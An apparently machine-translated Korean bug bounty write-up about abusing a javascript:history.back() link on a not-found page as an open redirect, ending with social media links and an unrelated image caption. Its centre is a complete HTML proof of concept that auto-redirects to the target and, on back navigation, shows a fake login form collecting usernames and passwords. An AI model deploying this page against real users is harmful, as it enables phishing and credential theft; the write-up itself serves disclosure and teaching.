오픈 리디렉션으로 Javascript:history.back() 남용
안녕하세요 해커 여러분,
오늘은 흥미로운 버그에 대해 말씀드리겠습니다. 심각도가 낮은 버그이지만 이 버그를 통해 배울 수 있을 것 같습니다. 시작하겠습니다.
브라우저에서 "뒤로" 버튼을 클릭했는데 악성 페이지로 리디렉션된 적이 있습니까?
이것은 공격자가 기능의 취약점을 악용하기 위해 사용하는 일반적인 전술입니다 javascript:history.back(). 이 javascript:history.back()기능은 사용자가 이전 페이지로 다시 이동할 수 있도록 하는 웹 애플리케이션의 유용한 기능입니다. 그러나 공격자가 브라우저 기록을 조작하여 사용자를 악성 페이지로 리디렉션하는 데 사용할 수도 있습니다.
나는 RDP 프로그램에서 사냥을 하다가 돌아가기 링크와 함께 찾을 수 없음 오류를 표시하는 URL을 찾았고 해당 페이지에는 기능이 있습니다 javascript:history.back().
그런 다음 이것을 악용하여 리디렉션 취약점을 열 수 있다는 것을 금방 깨달았습니다.
다음은 내가 한 방법에 대한 개념 증명입니다.
먼저 로컬 컴퓨터에서 HTML 페이지를 호스팅했습니다.
페이지에는 다음 코드가 있습니다.
<html>
<head>
<title>THIS IS THE EVIL PAGE, your account is Please </title></head>
<body>
<div id="forward">
<a href="https://link-of-the-vulnerable-page.com/locale/redirect?locale=en">GO BACK PAGE</a>
</div>
<div id="phish">
<h1> WELOCME TO ATTACKERS PAGE </h1>
</div>
<div>
<h1>PLEASE LOGIN HERE </h1>
<form action="process_login.php" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">Password:</label>
<input type="password" id="password" name="password"><br><br>
<input type="submit" value="Login">
</form>
</div>
<script>
function hide(id) {
document.getElementById(id).style.display = 'none';
}
function show(id) {
document.getElementById(id).style.display = '';
}
window.addEventListener("pageshow", function () {
if (performance.navigation.type === performance.navigation.TYPE_BACK_FORWARD) {
hide("forward");
show("phish");
} else {
hide("phish");
show("forward");
document.querySelector("#forward a").click();
}
});
</script>
</body>
</html>
https://redacted.com/locale/redirect?locale=en
그리고 사용자는 돌아갈 수 있는 링크와 함께 다음과 같은 오류를 받게 됩니다.
사용자는 일부 오류가 발생했다고 생각하고 돌아가기 링크를 클릭하지만 이 경우 사용자는 이미 악성 페이지에서 리디렉션되었습니다. 이 기능은 이전 페이지가 동일한 도메인에 있는지 여부를 확인하지 않습니다. 이로 인해 사용자를 악의적인 공격자의 페이지로 이동합니다.
이를 사용하여 공격자는 암호 및 기타 개인 정보와 같은 민감한 정보를 훔칠 수 있습니다.
오픈 리다이렉트 취약점과 같은 중간 심각도의 버그입니다. 나는 이것을 웹 사이트에 보고했지만 그들의 프로그램은 중단되었지만 여전히 이것은 모든 웹 사이트에서 쉽게 찾아서 보고할 수 있는 쉬운 버그입니다.
원하는 경우 이 버그에 대한 전체 POC를 제공할 수 있습니다. Twitter 또는 Instagram에서 메시지를 보낼 수 있습니다.
즐거운 사냥 여행 되세요, 안녕
아제이 자착 :)
나를 따라와!
트위터-https://twitter.com/Ajay_jachak24
링크드인-https://www.linkedin.com/in/ajay-jachak-990964212/
인스 타 그램-https://www.instagram.com/ajax.pvt/

![연결된 목록이란 무엇입니까? [1 부]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































